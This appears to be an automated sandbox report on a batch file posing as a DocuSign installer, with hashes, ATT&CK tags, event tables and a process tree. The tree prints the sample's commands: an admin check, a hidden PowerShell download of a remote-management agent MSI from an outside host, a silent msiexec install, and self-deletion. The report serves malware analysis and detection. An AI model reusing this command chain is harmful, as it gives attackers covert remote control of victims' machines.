3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Docusign_Installer.bat
Size 1KB
Sample260804-hyn3catelf
SHA256 3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0
MD5 6f6f23a8afbe467e7c715b505435d7f3
SHA1 c5aae58476103d7bd2195d5552f3566f8f567923
SHA512 1a867a9a9ad2dff48844f11b9f291f37a99d4774e9b80dc400d5c5eaab7385fee51337d84b6d7b054adc27dcc41cceba10aa266bc4d6e1a483ed299565e8e031
TLSH
T163210ED72052382E9BB3A651868513A4DF568643870822DD34FCC0026F177A143C658E
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3616	powershell.exe
14	3064	msiexec.exe
16	3064	msiexec.exe
31	3064	msiexec.exe
33	3064	msiexec.exe
39	3064	msiexec.exe
43	3064	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4776	powershell.exe
3616	powershell.exe
3616	powershell.exe
2672	powershell.exe
1560	powershell.exe
1704	powershell.exe

Deletes itself 1 IoCs

pid	Process
4776	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3664	action1_agent.exe
2956	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
4988	MsiExec.exe
4988	MsiExec.exe
4988	MsiExec.exe
4124	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 37 IoCs

description	ioc	Process
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Installer\e58c218.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI53B.tmp	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-08-04_08-09-41~3664.log	action1_agent.exe
File opened for modification	C:\Windows\Installer\e58c213.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI325.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3B2.tmp	msiexec.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI15E.tmp	msiexec.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Installer\e58c213.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI268.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4AD.tmp	msiexec.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1976	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4e498ca1a\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.WebMediaExtens = "Web Media Extensions"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace495c536df\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.WindowsSo = "Windows Voice Recorder"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4ed148f50\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.HEIFImageExten = "HEIF Image Extensions"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4bb18b302\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.XboxGamingOver = "Xbox Game Bar"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4f10ea0f5\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.VP9VideoExtens = "VP9 Video Extensions"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Getstarted_8.2.22942.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4c5ed6b63\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0 = "Microsoft Tips"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4f533928b\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.MixedRe = "Mixed Reality Portal"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace4f91f4df8\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.WebpImageExten = "Webp Image Extensions"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace47e810af5\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071 = "Groove Music"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies registry class 21 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "pkg.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3616	powershell.exe
3616	powershell.exe
3064	msiexec.exe
3064	msiexec.exe
2672	powershell.exe
2672	powershell.exe
2672	powershell.exe
4776	powershell.exe
4776	powershell.exe
1560	powershell.exe
1560	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
3664	action1_agent.exe
3664	action1_agent.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3616	powershell.exe
Token: SeShutdownPrivilege	4664	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4664	msiexec.exe
Token: SeSecurityPrivilege	3064	msiexec.exe
Token: SeCreateTokenPrivilege	4664	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4664	msiexec.exe
Token: SeLockMemoryPrivilege	4664	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4664	msiexec.exe
Token: SeMachineAccountPrivilege	4664	msiexec.exe
Token: SeTcbPrivilege	4664	msiexec.exe
Token: SeSecurityPrivilege	4664	msiexec.exe
Token: SeTakeOwnershipPrivilege	4664	msiexec.exe
Token: SeLoadDriverPrivilege	4664	msiexec.exe
Token: SeSystemProfilePrivilege	4664	msiexec.exe
Token: SeSystemtimePrivilege	4664	msiexec.exe
Token: SeProfSingleProcessPrivilege	4664	msiexec.exe
Token: SeIncBasePriorityPrivilege	4664	msiexec.exe
Token: SeCreatePagefilePrivilege	4664	msiexec.exe
Token: SeCreatePermanentPrivilege	4664	msiexec.exe
Token: SeBackupPrivilege	4664	msiexec.exe
Token: SeRestorePrivilege	4664	msiexec.exe
Token: SeShutdownPrivilege	4664	msiexec.exe
Token: SeDebugPrivilege	4664	msiexec.exe
Token: SeAuditPrivilege	4664	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4664	msiexec.exe
Token: SeChangeNotifyPrivilege	4664	msiexec.exe
Token: SeRemoteShutdownPrivilege	4664	msiexec.exe
Token: SeUndockPrivilege	4664	msiexec.exe
Token: SeSyncAgentPrivilege	4664	msiexec.exe
Token: SeEnableDelegationPrivilege	4664	msiexec.exe
Token: SeManageVolumePrivilege	4664	msiexec.exe
Token: SeImpersonatePrivilege	4664	msiexec.exe
Token: SeCreateGlobalPrivilege	4664	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeShutdownPrivilege	4124	MsiExec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeBackupPrivilege	3664	action1_agent.exe
Token: SeSecurityPrivilege	3664	action1_agent.exe
Token: SeBackupPrivilege	3664	action1_agent.exe
Token: SeSecurityPrivilege	3664	action1_agent.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe
Token: SeTakeOwnershipPrivilege	3064	msiexec.exe
Token: SeRestorePrivilege	3064	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2324	1976	cmd.exe	88
PID 2324 wrote to memory of 3448	2324	net.exe	89
PID 1976 wrote to memory of 3752	1976	cmd.exe	90
PID 1976 wrote to memory of 3616	1976	cmd.exe	91
PID 1976 wrote to memory of 4664	1976	cmd.exe	93
PID 3064 wrote to memory of 4988	3064	msiexec.exe	104
PID 3064 wrote to memory of 4124	3064	msiexec.exe	105
PID 3664 wrote to memory of 2672	3664	action1_agent.exe	108
PID 1976 wrote to memory of 4776	1976	cmd.exe	113
PID 3664 wrote to memory of 1560	3664	action1_agent.exe	114
PID 1560 wrote to memory of 2956	1560	powershell.exe	119
PID 3664 wrote to memory of 1704	3664	action1_agent.exe	120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3448
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
  2⤵
  PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "try {Invoke-WebRequest -Uri 'https://app.na-2.action1.com/agent/7fdfa464-7f6a-11f1-b7e6-37df2a619ce9/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pkg.msi' -ErrorAction Stop} catch {exit 1}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3616
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  PID:4776

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 309506744104C3F876CBECEC0F1C1B70
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4988
- C:\Windows\syswow64\MsiExec.exe
